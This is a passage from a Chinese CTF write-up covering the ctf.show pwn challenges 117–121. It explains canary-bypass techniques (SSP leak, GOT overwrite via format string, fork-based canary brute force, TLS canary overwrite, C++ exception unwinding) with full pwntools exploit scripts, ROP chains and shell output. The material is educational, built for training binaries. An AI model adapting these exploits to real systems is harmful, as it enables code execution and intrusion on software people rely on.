    Stripped:   No
canary:0x8952fa00
[*] Switching to interactive mode
$ ls
 ctfshow_flag

pwn117【试一下远程,覆盖__libc_argv[0]】(SSP Leak有版本限制最好小于libc2.23)

Hint：Bypass Canary 姿势3

原理：由于canary检测篡改后会调用stack_chk_fail函数，其中一个参数是文件名，即“__libc_argv[0]”，将此覆盖就能输出特定内容。

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64位开启了Canary保护与NX保护，部分开启RELRO保护

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int fd; // [rsp+2Ch] [rbp-114h]
  _BYTE v5[264]; // [rsp+30h] [rbp-110h] BYREF
  unsigned __int64 v6; // [rsp+138h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  logo();
  init();
  fd = open("/flag", 0);
  if ( !fd )
  {
    puts("No such file or directory.");
    exit(-1);
  }
  read(fd, &buf, 0x100u);
  puts("Haha,It has reduced you a lot of difficulty!");
  gets(v5);
  return 0;
}

.bss:00000000006020A0                 public buf
.bss:00000000006020A0 buf             db    ? ;               ; DATA XREF: main+88↑o

//stack_chk_fail最终会调用__fortify_fail函数输出错误信息，其关键代码（简化）为：
void __fortify_fail(const char *msg) {
    __libc_message(2, "*** %s ***: %s terminated\n", msg, __libc_argv[0]);
    abort();
}
//报错信息格式：*** stack smashing detected ***: [程序名] terminated其中__libc_argv[0]是全局指针变量，存储程序的命令行参数第一个值（即程序自身的路径如./exploit）。

可以看到程序先以及读取了/flag⽂件，然后可以看到buf在bss段，gets(v5)明显的栈溢出漏洞canary检测失败时会调⽤stack_chk_fail函数，输出⼀段报错，报错会输出⽂件名，覆盖⽂件名指针，从⽽实现任意读，也就是覆盖变量__libc_argv[0]

这样我们就可以在canary检测失败时，输出我们想要的flag值：

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')

io.recvuntil(b'aha,It has reduced you a lot of difficulty!')
payload = b'a' * 504 + p64(0x6020A0)
io.sendline(payload)
io.interactive()
#debug算出gets时候的栈地址和__libc_argv[0]距离即可，但我算不对，直接爆破[有师傅教一下吗]:
from pwn import *
context(arch='amd64', os='linux',log_level='info')
flag = 0x6020A0 

def pwn(i):
print(i)
io.recvuntil('Haha,It has reduced you a lot of difficulty!')
payload = cyclic(i) + p64(flag)
io.sendline(payload)
print(io.recvall())
io.close()

for i in range(280,504)
        io = remote('pwn.challenge.ctf.show',28214)
        pwn(i)
        sleep(0.1)

pwn118（劫持___stack_chk_fail函数绕过canary）

Hint：Bypass Canary 姿势4

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位开启Canary与NX保护

IDA查看main函数，跟进ctfshow函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  puts("Nice to meet you");
  ctfshow();
  return 0;
}

unsigned int ctfshow()
{
  char buf[80]; // [esp+Ch] [ebp-5Ch] BYREF
  unsigned int v2; // [esp+5Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  read(0, buf, 0xA0u);
  printf(buf);
  return __readgsdword(0x14u) ^ v2;
}

还是明显的栈溢出漏洞跟格式化字符串漏洞，这次我们再换⼀种⽅式进⾏绕过

我们还是发现存在后⻔函数：

int get_flag()
{
  return system("cat /ctfshow_flag");
}

这次我们劫持__stack_chk_fail函数，由于这⾥存在后⻔函数能直接获取flag，那么我们只需要将其改

写为get_flag函数的地址就可以了。

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : Turned on Canary, simply bypass it!
    * *************************************
Nice to meet you
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xffb77aac.0xa0.0x8048719.0x46.0xe8929d40.0xffb77ae8.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70

偏移量7

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')

stack_chk_fail_got = elf.got['__stack_chk_fail']
getflag = elf.sym['get_flag']

payload = fmtstr_payload(7,{stack_chk_fail_got:getflag})
payload = payload.ljust(80,'a')
io.sendline(payload)
io.recv()
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 101
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode
flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn119(fork+puts来泄露canary)

Hint：Bypass Canary 姿势5

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位开启Canary与NX保护，部分开启RELRO保护

IDA查看main函数：

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  puts(asc_8048918);
  puts(asc_804898C);
  puts(asc_8048A08);
  puts(asc_8048A94);
  puts(asc_8048B24);
  puts(asc_8048BA8);
  puts(asc_8048C3C);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanism_Bypass                         ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Turned on Canary, simply bypass it!                     ");
  puts("    * *************************************                           ");
  while ( 1 )
  {
    puts("Try PWN Me!");
    if ( !fork() )
      break;
    wait(0);
  }
  ctfshow();
  exit(0);
}

程序中存在fork函数，⽽且还是不断循环，跟进ctfshow函数：

unsigned int ctfshow()
{
  char s[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v2; // [esp+6Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  memset(s, 0, sizeof(s));
  read(0, s, 0x200u);
  puts(s);
  return __readgsdword(0x14u) ^ v2;
}

还是栈溢出漏洞，开启了Canary保护，因此我们需要先绕过保护

每次进程重启后的Canary是不同的，但是同⼀个进程中的Canary都是⼀样的。并且通过 fork 函数创建的⼦进程的 Canary 也是相同的，因为 fork 函数会直接拷⻉⽗进程的内存。因此我们可以考虑进⾏one by one 爆破

还有后门函数：

int backdoor()
{
  return system("/bin/sh");
}

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
backdoor = elf.sym['backdoor']

canary = b'\x00'  # Canary首字节固定为0x00[字符串终止符]（防止被字符串函数完整泄露）
for i in range(3):  # 爆破Canary的后3个字节（共4字节）
    for j in range(0, 256):  # 每个字节尝试0-255所有可能值
        payload = b'a' * (0x70 - 0xC) + canary + bytes([j])  #缓冲区s到 Canary 的偏移
        io.send(payload)  
        sleep(0.3)  # 等待接收响应
        text = io.recv() 
        # 判断是否猜对当前字节：若未触发栈溢出检测，说明Canary未被破坏
        if (b"stack smashing detected" not in text):
            canary += bytes([j])  # 猜对则将该字节加入Canary
            print(f"Canary: {canary.hex()}")  # 转为十六进制字符串打印
            break  # 进入下一个字节的爆破


print(f'Canary: {hex(u32(canary))}')  # 打印获取到的Canary（转为32位整数）
# 构造溢出Payload：覆盖缓冲区 -> 填入正确Canary -> 覆盖ebp -> 覆盖返回地址为backdoor
payload = b'a' * 100 + canary + b'a' * 0xc + p32(backdoor)
io.send(payload)  
io.recv()
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 363
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
Canary: 0029
Canary: 002981
Canary: 00298112
Canary: 0x12812900
[*] Switching to interactive mode
$ ls
 ctfshow_flag

pwn120(劫持TLS绕过canary)

Hint：Bypass Canary 姿势6

前提条件：

溢出字节足够大（通常至少4KB）：这是因为TLS（Thread Local Storage）通常位于线程栈的高地址区域（例如，在x86-64 Linux中，TLS可能位于栈顶附近）。需要覆盖整个栈缓冲区直到TLS区域，因此溢出大小需要至少一个内存页（4KB）或更多，具体取决于TLS的偏移量。
在线程内发生栈溢出：这种利用技术依赖于线程的TLS。主线程的TLS布局可能不同，而新创建的线程的TLS更容易定位和覆盖。因此，通常需要在程序创建一个新线程后，在该线程的栈函数中进行溢出。

原理：

TLS与canary的关系：当程序开启canary保护（如GCC的-fstack-protector）时，每个线程在创建时都会生成一个独立的canary值，并存储在其TLS中（例如，在Linux glibc中，canary值存储在TLS结构的stack_guard字段）。函数序言中从TLS读取canary值并放入栈上，函数返回前检查栈上的canary值是否与TLS中的值一致。
TLS的位置：在线程栈中，TLS通常位于栈的高地址端（即栈顶附近）。通过计算偏移量，可以确定TLS相对于栈缓冲区的具体位置。
劫持TLS：通过栈溢出，覆盖从栈缓冲区到TLS区域的内存，从而修改TLS中的canary值。攻击者可以将TLS中的canary值覆盖为一个已知值（例如全零），然后在溢出时构造payload，使栈上的canary值与修改后的TLS值匹配，从而绕过canary检查。
后续利用：绕过canary后，攻击者可以进一步覆盖返回地址，执行ROP（Return-Oriented Programming）链，实现代码执行。

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64位仅关闭PIE

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF
  //pthread_t 是 POSIX 线程库中表示 “线程 ID” 的类型（类似进程的 PID，但针对线程）;newthread[2] 定义了一个包含 2 个元素的数组，用于存储线程 ID。

  newthread[1] = __readfsqword(0x28u); //把当前线程的 canary 值读取出来，存入 newthread[1] 中
  init(argc, argv, envp);
  logo();
  pthread_create(newthread, 0, start, 0); 
  /*这是 POSIX 线程库创建新线程的函数 pthread_create，参数含义：
第一个参数 newthread：指针，用于存储新创建线程的 ID（会写入 newthread[0]，因为数组名是首元素地址）。
第二个参数 0：线程属性（传 0 表示使用默认属性）。
第三个参数 start：新线程要执行的函数（线程入口函数，类似 main 函数）。
第四个参数 0：传给 start 函数的参数（这里传空）。*/
  if ( pthread_join(newthread[0], 0) )
  {/*pthread_join 是等待线程结束的函数，参数含义：
第一个参数 newthread[0]：要等待的线程 ID（即刚创建的那个线程）。
第二个参数 0：指针，用于接收线程的返回值（传 0 表示不关心返回值）。
函数返回值：如果等待成功返回 0，失败返回非 0。
效果：主线程会暂停在这里，等待 newthread[0] 对应的线程执行完；如果等待失败，就打印 "exit failure" 并退出。*/
    puts("exit failure");
    return 1;
  }
  else
  {
    puts("Bye bye");
    return 0;
  }
}

创建了⼀个线程，线程 ID 存到 newthread[0]，新线程会执行 start 函数，跟进看⼀下：

void *__fastcall start(void *a1)
{
  unsigned __int64 n0x5000; // [rsp+8h] [rbp-518h]
  _BYTE s[1288]; // [rsp+10h] [rbp-510h] BYREF
  unsigned __int64 v4; // [rsp+518h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 0, 0x500u);
  puts("Old friends meet again!");
  puts("How much do you want to send this time?");
  n0x5000 = lenth();
  if ( n0x5000 <= 0x5000 )
  {
    readn(0, s, n0x5000);
    puts("See you next time!");
  }
  else
  {
    puts("Are you kidding me?");
  }
  return 0;
}

⼦进程⾥⾯先让⽤⼾输⼊要输⼊的⼤⼩，如果⼤于0x5000就输出”Are you kidding me?”，如果⼩于等于就进⾏读取明显存在栈溢出。

Canary 储存在 TLS 中，在函数返回前会使⽤这个值进⾏对⽐。当溢出尺⼨较⼤时，可以同时覆盖栈上

储存的 Canary 和 TLS 储存的 Canary 实现绕过。

我们可以从这⾥溢出到TLS修改canary，接下来就是确定canary的位置

之后便是确定好偏移，然后构造ROP链，泄露地址puts函数的地址，计算出libcbase，最后然后我们只需要在构造⼀个read，写⼀个one_gadget到stack_pivot上，然后控制返回地址回stack_pivot便能获取⼀个shell了

.text:0000000000400ADA                 leave
.text:0000000000400ADB                 retn
.text:0000000000400ADB ; } // starts at 400A1E
.text:0000000000400ADB start           endp

$ ROPgadget --binary ./pwn | grep "ret"
0x0000000000400be3 : pop rdi ; ret
0x0000000000400be1 : pop rsi ; pop r15 ; ret
0x00000000004006be : ret

$ readelf -S pwn
There are 28 section headers, starting at offset 0x2b30:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  
  [23] .bss              NOBITS           0000000000602010  00002010
       0000000000000020  0000000000000000  WA       0     0     16
       
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn') 
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

leave_addr = 0x400ADA #stat函数leave指令的地址（用于栈迁移）
pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
bss_addr = 0x602010

payload = b'a' * 0x510 + p64(bss_addr - 0x8) 
#填充到返回地址，设置新的rbp（为栈迁移准备）【-0x8是为了让leave指令执行后[pop rbp ;从栈顶弹出一个值到rbp，同时rsp增加8字节（因为弹出8字节数据）]，rsp精准落在bss_addr（我们可控的区域）】

payload += p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.symbols['puts'])
#用pop_rdi_ret将puts的GOT表地址（存储puts实际地址）放入rdi，然后调用puts函数，泄露puts的实际地址

payload += p64(pop_rdi_ret) + p64(0)  #rdi=0（标准输入）
payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(elf.symbols["read"]) #调用read(0, bss_addr, ...)，从输入读取数据到bss段

#触发栈迁移
payload += p64(leave_addr) #执行leave后，rsp会指向bss_addr - 0x8，后续执行会从bss段读取指令

payload = payload.ljust(0x1000, b'a')  # 填充到0x1000字节（满足输入长度要求）
io.sendlineafter(b"How much do you want to send this time?\n", b'4096')  # 告诉程序输入长度为0x1000
sleep(0.5)
io.send(payload)

io.recvuntil(b"See you next time!\n")  # 接收程序输出，定位到puts泄露的地址
puts = u64(io.recv(6).ljust(8, '\x00'))  # 读取6字节（64位地址低6字节有效），补全为8字节
print(hex(puts))  
libc_base = puts - libc.symbols["puts"]  
one_gadget = libc_base + 0x4f302  # one-gadget地址（直接获取shell的函数）

payload = p64(one_gadget)  # 构造包含one-gadget地址的payload
io.send(payload)  # 发送到bss段（通过之前的read函数读取）
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 94
[*] '/PWN/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0x7f214ffb4970
[*] Switching to interactive mode

$ ls
ctfshow_flag

pwn121（ret不懂）

Hint：Bypass Canary 姿势7

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

64位开启Canary与NX保护，部分开启RELRO

IDA查看main函数（修改函数名后）：

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int seed; // eax
  int v5; // [rsp+1Ch] [rbp-4h]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  seed = time(0);
  srand(seed);
  puts("1.start flexmd5");
  puts("2.start flexsha256");
  puts("3.start flexsha1");
  puts("4.test security");
  puts("0 quit");
  puts("option:");
  v5 = sub_400F45("option:");
  switch ( v5 )
  {
    case 1:
      flexmd5("option:");
      break;
    case 2:
      flexsha256("option:");
      break;
    case 3:
      flexsha1("option:");
      break;
    case 4:
      ctfshow("option:");
      break;
    default:
      return 0;
  }
  return 0;
}

根据菜单栏，我们不难发现，⾸先着重引起注意的就是4 （ctfshow）跟进查看：

__int64 __fastcall ctfshow(__int64 p_option:)
{
  int v2; // [rsp+Ch] [rbp-4h]

  puts("1.test format string.");
  puts("2.test stackoverflow.");
  puts("3.test heapoverflow.");
  puts("option:");
  v2 = sub_400F45("option:");
  switch ( v2 )
  {
    case 1:
      return fmt();
    case 2:
      return stack_overflow();
    case 3:
      return heap_overflow();
  }
  return 0;
}

这⾥存在三个漏洞，分别为格式化字符串漏洞，栈溢出漏洞，堆溢出漏洞

fmt:

__int64 fmt()
{
  unsigned __int64 buf; // rdx
  unsigned __int8 buf_1; // [rsp+Fh] [rbp-631h]
  char v3; // [rsp+Fh] [rbp-631h]
  int n255; // [rsp+10h] [rbp-630h]
  int n255_1; // [rsp+10h] [rbp-630h]
  int v6; // [rsp+10h] [rbp-630h]
  int v7; // [rsp+14h] [rbp-62Ch]
  int v8; // [rsp+14h] [rbp-62Ch]
  int i; // [rsp+18h] [rbp-628h]
  signed __int64 v10; // [rsp+20h] [rbp-620h]
  signed __int64 v11; // [rsp+28h] [rbp-618h]
  char format[512]; // [rsp+30h] [rbp-610h] BYREF
  char s[256]; // [rsp+230h] [rbp-410h] BYREF
  char buf_[256]; // [rsp+330h] [rbp-310h] BYREF
  char s_[520]; // [rsp+430h] [rbp-210h] BYREF
  unsigned __int64 v16; // [rsp+638h] [rbp-8h]

  v16 = __readfsqword(0x28u);
  memset(format, 0, sizeof(format));
  strcpy(s, "try_to_get_flag");
  memset(&s[16], 0, 0xF0u);
  v10 = strlen(s);
  buf = (unsigned __int64)buf_;
  memset(buf_, 0, sizeof(buf_));
  v7 = 0;
  for ( n255 = 0; n255 <= 255; ++n255 )
  {
    format[n255] = n255;
    buf = (unsigned __int8)s[n255 % v10];
    buf_[n255] = buf;
  }
  for ( n255_1 = 0; n255_1 <= 255; ++n255_1 )
  {
    v7 = (buf_[n255_1] + v7 + format[n255_1]) % 256;
    buf_1 = format[n255_1];
    format[n255_1] = format[v7];
    buf = buf_1;
    format[v7] = buf_1;
  }
  sub_400E76(s_, 500, buf);
  v11 = strlen(s_);
  v8 = 0;
  v6 = 0;
  for ( i = 0; i < v11; ++i )
  {
    v6 = (v6 + 1) % 256;
    v8 = (v8 + format[v6]) % 256;
    v3 = format[v6];
    format[v6] = format[v8];
    format[v8] = v3;
    s_[i] ^= format[(format[v8] + format[v6]) % 256];
  }
  printf(format);
  return 0;
}

格式化字符串不可控[format数组的最终内容完全由程序初始逻辑和固定算法生成，不包含任何用户可控数据。]

stack_overflow:

int stack_overflow()
{
  unsigned int v0; // eax
  int v2; // [rsp+Ch] [rbp-EAE4h] BYREF
  int v3; // [rsp+10h] [rbp-EAE0h] BYREF
  int i; // [rsp+14h] [rbp-EADCh]
  int j; // [rsp+18h] [rbp-EAD8h]
  int k; // [rsp+1Ch] [rbp-EAD4h]
  _DWORD v7[15026]; // [rsp+20h] [rbp-EAD0h] BYREF
  unsigned __int64 v8; // [rsp+EAE8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  scanf("%d", &v2);
  scanf("%d", &v3);
  for ( i = 1; i <= v2; ++i )
    scanf("%d %d", &v7[i], &v7[i + 12]);
  for ( j = 1; j <= v2; ++j )
  {
    for ( k = 1; k <= v3; ++k )
    {
      if ( v7[j] > (unsigned int)k )
      {
        v7[1500 * j + 24 + k] = v7[1500 * j - 1476 + k];
      }
      else
      {
        v0 = v7[1500 * j - 1476 + k];
        if ( v7[j + 12] + v7[1500 * j - 1476 + k - v7[j]] >= v0 )
          v0 = v7[j + 12] + v7[1500 * j - 1476 + k - v7[j]];
        v7[1500 * j + 24 + k] = v0;
      }
    }
  }
  return printf("%d\n", v7[1500 * v2 + 24 + v3]);
}

结构化写⼊(难用)，但是程序开启了Canary保护

heap_overflow:

__int64 heap_overflow()
{
  int v0; // eax
  _BYTE *v1; // rax
  __int64 result; // rax
  char char; // [rsp+7h] [rbp-19h]
  int i; // [rsp+8h] [rbp-18h]
  unsigned int j; // [rsp+8h] [rbp-18h]
  int v6; // [rsp+Ch] [rbp-14h]
  int v7; // [rsp+10h] [rbp-10h]
  int v8; // [rsp+14h] [rbp-Ch]
  _BYTE *v9; // [rsp+18h] [rbp-8h]

  v6 = 0;
  v9 = malloc(0x3E8u);
  v7 = -1;
  v8 = -1;
  while ( 1 )
  {
    char = getchar();
    if ( char == -1 )
      break;
    v0 = v6++;
    v9[v0] = char;
  }
  for ( i = 0; i < v6; ++i )
  {
    if ( v7 == -1 )
    {
      if ( v8 == -1 && v9[i] == 34 && v9[i - 1] != 92 )
      {
        v8 = 1;
      }
      else if ( v8 == 1 && v9[i] == 34 && v9[i - 1] != 92 )
      {
        v8 = -1;
      }
    }
    if ( v8 == -1 )
    {
      if ( v7 == -1 && v9[i] == 47 && v9[i + 1] == 42 )
      {
        v7 = 1;
        v9[i] = -1;
      }
      else if ( v7 == 1 && v9[i] == 42 && v9[i + 1] == 47 )
      {
        v1 = &v9[i + 1];
        *v1 = -1;
        v9[i] = *v1;
        v7 = -1;
        ++i;
      }
      else if ( v7 == 1 )
      {
        v9[i] = -1;
      }
    }
  }
  for ( j = 0; ; ++j )
  {
    result = j;
    if ( (int)j >= v6 )
      break;
    if ( v9[j] != 0xFF )
      putchar((char)v9[j]);
  }
  return result;
}

只有 “while 循环读字符并写入 v9” 这一处操作会导致堆溢出,不会导致程序无法正常返回[堆内存与栈内存的独立性]（没用）

从单个函数或者⾛⼊这个分⽀来看，并不好利⽤

查看其他函数（flexmd5）：

仔细观察函数流程，发现程序⾥进⾏了⼀个异常捕捉机制，在伪代码中这个结构体并没有显⽰

跟进函数查看⼀下：

__int64 __fastcall sub_401148(__int64 p_option:)
{
  __int64 v1; // rdx
  __int64 v2; // rdx
  _DWORD *exception; // rax
  _DWORD *v4; // rax
  __int64 v5; // rdx
  int i; // [rsp+Ch] [rbp-124h]
  char s1[264]; // [rsp+10h] [rbp-120h] BYREF
  unsigned __int64 v9; // [rsp+118h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  puts("FlexMD5 bruteforce tool V0.1");
  puts("custom md5 state (yes/No)");
  sub_400E76(s1, 4, v1);
  if ( !strncmp(s1, "yes", 3u) )
  {
    dword_6061A4 = 1;
    puts("initial state[0]:");
    dword_6061B0 = sub_400F45("initial state[0]:");
    puts("initial state[1]:");
    dword_6061B4 = sub_400F45("initial state[1]:");
    puts("initial state[2]:");
    dword_6061B8 = sub_400F45("initial state[2]:");
    puts("initial state[3]:");
    dword_6061BC = sub_400F45("initial state[3]:");
  }
  puts("custom charset (yes/No)");
  sub_400E76(s1, 4, v2);
  if ( !strncmp(s1, "yes", 3u) )
  {
    dword_6061A4 = 1;
    puts("charset length:");
    n256 = sub_400F45("charset length:");
    if ( n256 > 256 )
    {
      exception = __cxa_allocate_exception(4u);
      *exception = 2;
      __cxa_throw(exception, (struct type_info *)&`typeinfo for'int, 0);
    }
    puts("charset:");
    sub_400E76(s1, (unsigned int)(n256 + 1), (unsigned int)(n256 + 1));
    off_606118 = strdup(s1);                    // "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
  }
  puts("bruteforce message pattern:");
  sub_400F1E(s_, 1024);
  dword_6061A0 = strlen(s_);
  for ( i = 0; i < strlen(s_) && s_[i] != 46; ++i )
    ;
  if ( i == strlen(s_) )
  {
    v4 = __cxa_allocate_exception(4u);
    *v4 = 0;
    __cxa_throw(v4, (struct type_info *)&`typeinfo for'int, 0);
  }
  puts("md5 pattern:");
  sub_400E76(byte_6065C0, 33, v5);
  return 0;
}

仔细观察可以发现这⾥存在⼀个整形溢出，对输⼊+1后进⾏了⽆符号整形强制转换[ sub_400E76(s1, (unsigned int)(n256 + 1), (unsigned int)(n256 + 1));]

__int64 __fastcall sub_400E76(__int64 a1, unsigned int a2)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    read(0, &buf, 1u); //循环读a2个字节，写入a1（s1）
    if ( buf == 10 )
    {
      *(_BYTE *)(i + a1) = 0;
      return i + 1;
    }
    *(_BYTE *)(a1 + i) = buf;
  }
  *(_BYTE *)(a2 - 1 + a1) = 0;
  return i;
}

进⽽⼜有了⼀个栈溢出漏洞，同样的程序开启了Canary保护，还是要想办法绕过

这⾥我们就需要了解并利⽤异常机制去绕过Canary保护了（详细原理课程中会给⼤家讲解，这⾥不讲述原理）

我们现在需要跳过canary检查，如果异常被上⼀个函数的catch捕获，所以rbp变成了上⼀个函数的rbp，⽽通过构造⼀个payload把上⼀个函数的rbp修改成stack_pivot地址，之后上⼀个函数返回的时候执⾏leave ret，这样⼀来我们就能成功绕过canary的检查，⽽且进⼀步我们也能控制eip，，去执⾏了stack_pivot中的rop了。

.bss:00000000006061C0 ; char s_[1024]
.bss:00000000006061C0 s_              db ?                    ; DATA XREF: sub_400F8F+29↑r
.bss:00000000006061C0                                         ; sub_400F8F+50↑r ...

.plt:0000000000400BD0 ; [00000006 BYTES: COLLAPSED FUNCTION _puts]

.got.plt:0000000000606020 off_606020      dq offset puts          ; DATA XREF: _puts↑r

.text:0000000000401508 ;   try {
.text:0000000000401508                 call    sub_401148
.text:000000000040150D                 call    sub_400F8F

ssize_t __fastcall sub_400F1E(void *s, size_t n1024)
{
  return read(0, s, n1024);
}

sub_401148:
char s1[264]; // [rsp+10h] [rbp-120h] BYREF
/*前 36 个覆盖s1到rbp之间的 288 字节；
第 37 个刚好覆盖rbp本身，将其修改为message_pattern（栈迁移目标）。*/

$ ROPgadget --binary ./pwn | grep "ret"
0x00000000004044d3 : pop rdi ; ret
0x00000000004044d1 : pop rsi ; pop r15 ; ret

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process("./pwn")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
message_pattern = 0x6061C0 # 全局变量，用于栈迁移+存ROP链
puts_plt = 0x400BD0
puts_got = 0x606020
readn = 0x400F1E # 程序自带的read函数（读取后续payload）
pop_rdi = 0x4044d3
pop_rsi_r15 = 0x4044d1
ret = 0x40150c #不懂，求教

io.recvuntil(b"option:\n")
io.sendline(b"1") #选1（flexmd5）
io.sendline(b"No") #选No（跳过MD5初始状态配置）
io.sendline(b"yes") #选yes（进入字符集配置，触发漏洞）
io.sendline(b'-2') #当用户输入n256 = -2时，因为(unsigned int)(n256 + 1)会强制把负数转成无符号整数0xffffffffffffffff
payload = p64(message_pattern)*37 + p64(ret) #填充数据（覆盖到上一层RBP） + 栈迁移目标（message_pattern） + ret（栈对齐）
io.sendline(payload)

# ROP链(泄露 libc 地址)：调用puts(puts_got) → 输出puts的libc地址 → 调用readn读新payload
payload = (
    p64(0)  # 占位（栈迁移后rsp指向这里，不影响）
    + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)  # 调用puts(puts_got)，泄露libc地址
    # 调用readn(message_pattern+0x50, 1024) → 读后续payload到安全位置（避免覆盖当前ROP）
    + p64(pop_rdi) + p64(message_pattern + 0x50)  # readn的第一个参数：目标地址 #整个初始 ROP 链的长度是 0x50（80 字节，每个p64占 8 字节，共 10 个）。
    + p64(pop_rsi_r15) + p64(1024) + p64(message_pattern + 0x50)  # 第二个参数：长度；r15占位
    + p64(readn)  # 调用readn
)
io.send(payload)  # 发送ROP链（写入message_pattern）

io.recvuntil(b"pattern:\n")
puts = u64(io.recvuntil(b"\n")[:-1].ljust(8,b"\x00"))
libc_base = puts - libc.symbols["puts"]
one_gadget = libc_base + 0x4f302
payload = p64(one_gadget)
io.send(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 188
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
